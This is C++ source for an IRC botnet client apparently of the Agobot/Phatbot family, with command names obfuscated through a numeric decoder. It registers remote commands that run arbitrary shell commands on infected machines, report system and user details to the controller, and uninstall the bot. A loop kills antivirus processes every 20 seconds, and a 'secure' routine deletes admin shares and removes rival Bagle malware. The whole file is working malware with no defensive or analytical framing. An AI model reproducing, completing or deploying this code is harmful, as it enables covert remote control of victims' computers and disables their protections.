#include "main.h"
#include "bot.h"
#include "mainctrl.h"
#include "random.h"
#include "utility.h"


bool autoCmd(CString xCmd){
	
/*
	CMessage * pBooga=;
	pBooga.bNotice=false;
	pBooga.bSilent=true;
	pBooga.sHost.Assign(NULL);
	pBooga.sIdentd.Assign(NULL);
	pBooga.sReplyTo.Assign(ReplyTo);
	pBooga.sSrc.Assign(NULL);	
	pBooga.sChatString=xCmd;
	m_cBot.HandleMsgInt(pBooga);
*/
return false;
};
CString dp(const int one, ...){
	int Ne[255];Ne[0]=one;

	va_list v;int i=1;int ba;
	va_start(v,one);
	while((ba = va_arg(v,int))!=0){	Ne [ i ] = ba;i++;};
	va_end(v);
	Ne[i]=0;
	// Define Keys and Shit
	CString sKey;
	CString sBr = " "; 
	sKey="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ! ? # $ % ^ & * ( ) _ + [ ` ] 0 1 2 3 4 5 6 7 8 9 .   \\ -";
		//End!

	CString sTem="";
	for(int bb = 0;bb < sizeof(Ne)/sizeof(Ne[0]); bb ++) { 
	if(Ne[bb]==0)break;sTem.Append(sKey.Token((Ne[bb]-1),sBr).CStr());
	}
	return sTem;
}


CBot::CBot() { m_bJoined=false; }

void CBot::Init(){
	
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdId,			dp(2,15,20,78,9,4,0).CStr(), /*bot.id*/					"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdAbout,		dp(2,15,20,78,1,2,15,21,20,0).CStr(),/*bot.about*/		"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSecure,	dp(2,15,20,78,19,5,3,21,18,5,0).CStr(),/*.bot.secure*/		"",this);
	//g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdStatus,	dp(2,15,20,78,19,20,1,20,21,19,0).CStr(),/*bot.status*/		"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSysInfo,	dp(2,15,20,78,19,25,19,9,14,6,15,0).CStr(),/*bot.sysinfo*/	"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRemove,	dp(2,15,20,78,18,5,13,68,22,5,0).CStr(),/*bot.rem0ve*/		"",this);

	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdOpen,	dp(2,15,20,78,15,16,5,14,0).CStr()/*bot.open*/,					"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdCommand,	dp(2,15,20,78,3,15,13,13,1,14,4,0).CStr()/*bot.command*/,		"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute,		dp(2,15,20,78,5,24,5,3,21,20,5,0).CStr()/*bot.execute*/,	"",this);
	
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdFlushDNS,		dp(2,15,20,78,6,12,21,19,8,4,14,19,0).CStr()/*bot.flushdns*/,		"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDns,			dp(2,15,20,78,4,14,19,0).CStr(),/*bot.dns*/			"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLongUptime,dp(2,15,20,78,12,15,14,7,21,16,20,9,13,5,0).CStr()/*bot.longuptime*/,	"",this);
	
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdNick,			dp(2,15,20,78,14,9,3,11,0).CStr(),			"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRndNick,		dp(2,15,20,78,18,14,4,14,9,3,11,0).CStr(),	"",this);
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdQuit,			dp(2,15,20,78,17,21,9,20,0).CStr(),		"",this);

	CString sRndNick=RndNick(si_nickprefix.sValue.CStr(),si_nickend.sValue.CStr());
	g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr());
	g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
	m_lStartTime=(unsigned long)GetTickCount()/1000;
}


void CBot::Recv(CMessage *pMsg, bool bInternal)
{
#ifdef DBGCONSOLE
	if(pMsg->sDest[0]=='#')
		g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
	else
		g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
#endif

	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bOutchan) {
		CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3));
		pMsg->sReplyTo.Assign(sOutchan);
	}
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));

	// Check if its a bot command by comparing the first byte to the bot_prefix value
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) {
		if(!pMsg->sCmd.Compare("bot.repeat")&&g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) {
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return;
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return;
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' '));
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));
			if(!bInternal)
				for(i=0;i<iNum;i++) HandleMsg(pMsg);
			else
				for(i=0;i<iNum;i++) HandleMsgInt(pMsg);
		} else
			if(!bInternal)
				HandleMsg(pMsg);
			else
				HandleMsgInt(pMsg);
	} else { //botname .command mod - deejayfuzion
		if(pMsg->sChatString.Token(0, " ").Find(g_cMainCtrl.m_sUserName)) {
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			pMsg->sChatString.Assign(sNewCStr);
			pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " "));
			this->Recv(pMsg, bInternal); }
	}
}

bool CBot::HandleMsg(CMessage *pMsg)
{	// If it's no login command and the user isn't logged in yet, break
	if(pMsg->sCmd.Compare(g_cMainCtrl.m_cMac.m_cmdLogin.sName.Str()) && !g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) return false;
	else
	{	// If the user isn't logged in yet, bot_seclogin is enabled and its no channel message, break;
		if(!g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc))
			if(bot_seclogin.bValue) if(pMsg->sDest[0]!='#') return false;
		return HandleMsgInt(pMsg); } }

bool CBot::HandleMsgInt(CMessage *pMsg)
{	// Find the command using the command handler
	g_cMainCtrl.m_SdCompat.HandleCommand(pMsg);
	command *pCommand=g_cMainCtrl.m_cCommands.FindCommandByName(pMsg->sCmd.CStr(), true);
	// If the command is found, let the command hander handle it
	if(pCommand) return pCommand->pHandler->HandleCommand(pMsg); else return false; }


	static unsigned long lLastAVKill;
bool CBot::Think(){

	// If the IRC connection timed out, reset it
	if((GetTickCount()-g_cMainCtrl.m_cIRC.m_lLastRecv) > bot_timeout.iValue){	
		g_cMainCtrl.m_cIRC.Fail(); g_cMainCtrl.m_cIRC.m_lLastRecv=GetTickCount();
	}
	
	// Kill all AV processes every 20 seconds
	if((GetTickCount()-lLastAVKill) > 20000){		
		KillAV(); lLastAVKill=GetTickCount(); 
	}

	return true; }

bool CBot::HandleCommand(CMessage *pMsg)
{	
	if(!pMsg->sCmd.Compare(m_cmdRemove.sName.Str())) {
		CString sId(pMsg->sChatString.Token(1, " ", true));
		g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "~Cuts Throat~", pMsg->sReplyTo);
#ifdef WIN32
		if(g_cMainCtrl.m_cBot.as_enabled.bValue)
			g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue);
		if(g_cMainCtrl.m_cBot.as_service.bValue)
			g_cMainCtrl.m_cInstaller.ServiceDel(g_cMainCtrl.m_cBot.as_service_name.sValue);
#endif
		g_cMainCtrl.m_cInstaller.Uninstall();
		g_cMainCtrl.m_cIRC.m_bRunning=false; g_cMainCtrl.m_bRunning=false; }

	else if(!pMsg->sCmd.Compare(m_cmdOpen.sName.CStr())) {
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
		bRet=system(sText.CStr())>0;
#endif
		if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "Exec'd", pMsg->sReplyTo.Str());
		else return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "Couldn't Exec It.", pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare(m_cmdExecute.sName.CStr())) {
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "Couldn't Exec It.", pMsg->sReplyTo.Str()); return false; }
#else
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
		if(system(sCmdBuf.CStr())==-1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "Couldn't exec it.", pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }
	else if(!pMsg->sCmd.Compare(m_cmdDns.sName.CStr())) {
		CString sReply; hostent *pHostent=NULL; in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
	
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s Resolved to %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
		
		if(!pHostent) {
			sReply.Format("Couldn't Resolve %s.", pMsg->sChatString.Token(1, " ").CStr());
			return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }

	else if(!pMsg->sCmd.Compare(m_cmdAbout.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, g_cMainCtrl.m_sNameVerStr.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare(m_cmdId.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare(m_cmdNick.sName.CStr())) {
		g_cMainCtrl.m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", g_cMainCtrl.m_sUserName.CStr());
		return true; }

	else if(!pMsg->sCmd.Compare(m_cmdQuit.sName.CStr())) {
		g_cMainCtrl.m_cIRC.m_bRunning=false; return true; }

	else if(!pMsg->sCmd.Compare(m_cmdSysInfo.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare(m_cmdLongUptime.sName.CStr())) {
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
		if(sUptime.Compare("")) {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				sUptime.Str(), pMsg->sReplyTo.Str()); }
		return true; }

	
	else if(!pMsg->sCmd.Compare(m_cmdRndNick.sName.CStr())) {
		CString sRndNick=RndNick(si_nickprefix.sValue.CStr(),si_nickend.sValue.CStr());
		g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr());
		g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
		return true; }

	else if(!pMsg->sCmd.Compare(m_cmdFlushDNS.sName.CStr())) {
#ifdef WIN32
		Execute("ipconfig.exe", "/flushdns");
#else
		Execute("nscd", "-i hosts");
#endif // WIN32
		return true; }

	else if(!pMsg->sCmd.Compare(m_cmdSecure.sName.CStr())) {	
#ifdef WIN32
		// Set EnableDCOM to "N"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);
		
		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "Ssate.exe");
		RegCloseKey(hkey);
		KillProcess("irun4.exe");
		CString tmpBagle; GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"irun4.exe");
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "rate.exe");
		RegCloseKey(hkey);
		KillProcess("i11r54n4.exe");
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"i11r54n4.exe");
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "ssate.exe");
		RegCloseKey(hkey);
		KillProcess("winsys.exe");
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"winsys.exe");
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "d3dupdate.exe");
		RegCloseKey(hkey);
		KillProcess("bbeagle.exe");
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"bbeagle.exe");
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "TaskMon");
		RegCloseKey(hkey);
		KillProcess("taskmon.exe");
		GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH);
		tmpBagle.Format("%s\\%s",tmpBagle.CStr(),"taskmon.exe");
		DeleteFile(tmpBagle);

		lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey);
		RegDeleteValue(hkey, "Explorer");
		RegCloseKey(hkey);

		/* end removal of (most)Bagle*/

		/* begin removal of suspicious exe/services */

	//	ServiceDel((CString)"upnphost"); // secure UPNP

		/* end removal of suspicious exe/services */

		// Secure Shares
		system("net share c$ /delete /y");
		system("net share d$ /delete /y");
		system("net share ipc$ /delete /y");
		system("net share admin$ /delete /y");



#endif
		return true; }
	
	else if(!pMsg->sCmd.Compare(m_cmdCommand.sName.CStr())) {	
#ifdef WIN32
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
		CString sReplyBuf; sReplyBuf.Format("Executed: %s.", sText.CStr());

		if(system(sText.CStr())==-1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "Coudn't Execute.", pMsg->sReplyTo.Str()); return false; }
		else { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }


	return false; }

CString CBot::SysInfo()
{	CString sSysInfo;
#ifdef WIN32
	int total=GetTickCount()/1000;
	MEMORYSTATUS memstat; OSVERSIONINFO verinfo;
	char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
	DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1;
	char *szCompname;
	TCHAR szUserName[21];
	DWORD dwUserSize = sizeof(szUserName);

	GlobalMemoryStatus(&memstat); verinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); char *os; char os2[140];
	if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==0)
	{	if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)			os="95"; //95
	if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT)					os="NT"; } //NT
	else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==10)	os="98"; //98
	else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==90)	os="ME"; //ME
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==0)		os="2000"; //2000
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==1)		os="XP"; //XP
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==2)		os="2003"; //2003
	else																os="???"; //???

	if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0]!='\0')
	{	sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion); os=os2; }
	GetComputerName(szBuffer, &dwNameSize);
	szCompname = szBuffer;
	GetUserName(szUserName, &dwUserSize);

	// *** PhaTTy <MOD> Changed ram: to ##MB/##MB , added box: , added user: </MOD>

	sSysInfo.Format("CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). uptime: %dd %dh %dm box: %s. user: %s.",
	cpuspeed(), memstat.dwAvailPhys/1046528, memstat.dwTotalPhys/1046528, os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total/86400, (total%86400)/3600, ((total%86400)%3600)/60, szCompname, szUserName);


#else
	FILE *fp=fopen("/proc/uptime", "r");
	float f1, f2;
	
	if(!fp) return CString("Error: Can't open /proc/uptime!");

	if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!");

	fclose(fp);
	
	int days, hours, minutes;
	days=((abs((int)f1)/60)/60)/24;
	hours=((abs((int)f1)/60)/60)%24;
	minutes=(abs((int)f1)/60)%60;

	int iDistro=GetDistro(); char *szVersion; char *szKVersion;
	bool bGotVer=GetVersion(&szVersion, iDistro);
	bool bGotKVer=GetKVersion(&szKVersion, iDistro);
	
	if(!bGotVer) szVersion="Unknown\n"; if(!bGotKVer) szKVersion="Unknown\n";
	
	sSysInfo.Format("CPU: %dMHz. os: %s. kernel: %s. uptime: %dd %dh %dm", cpuspeed(), szVersion, szKVersion, days, hours, minutes);

	free(szVersion); free(szKVersion);
#endif
	return sSysInfo; }

CString CBot::LongUptime(int iDays)  // If uptime > iDays days then bot will reply with uptime stats. - PhaTTy
{	CString sLongUptime;
	if (iDays == 0) return false;
#ifdef WIN32
	int total=GetTickCount()/1000;
	OSVERSIONINFO verinfo;

	if(total/86400 >= iDays) sLongUptime.Format("[Uptime] %dd %dh %dm",total/86400, (total%86400)/3600, ((total%86400)%3600)/60);
	else return CString("");
#else
	FILE *fp=fopen("/proc/uptime", "r");
	float f1, f2;
	
	if(!fp) return CString("Error: Can't open /proc/uptime!");

	if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!");

	fclose(fp);
	
	int days, hours, minutes;
	days=((abs((int)f1)/60)/60)/24;
	hours=((abs((int)f1)/60)/60)%24;
	minutes=(abs((int)f1)/60)%60;

	if(days >= iDays) sLongUptime.Format("Current Uptime: %dd %dh %dm", days, hours, minutes);
	else return CString("");
#endif // WIN32
	return sLongUptime; }

CString CBot::Status()
{	/*CString sStatus; unsigned long total, days, hours, minutes; total=(GetTickCount()/1000)-m_lStartTime;
	days=total/86400; hours=(total%86400)/3600; minutes=((total%86400)%3600)/60;
	sStatus.Format("%s has been running for %dd %dh %dm.", g_cMainCtrl.m_sNameVerStr.CStr(), days, hours, minutes); return sStatus;
	*/return ""; }
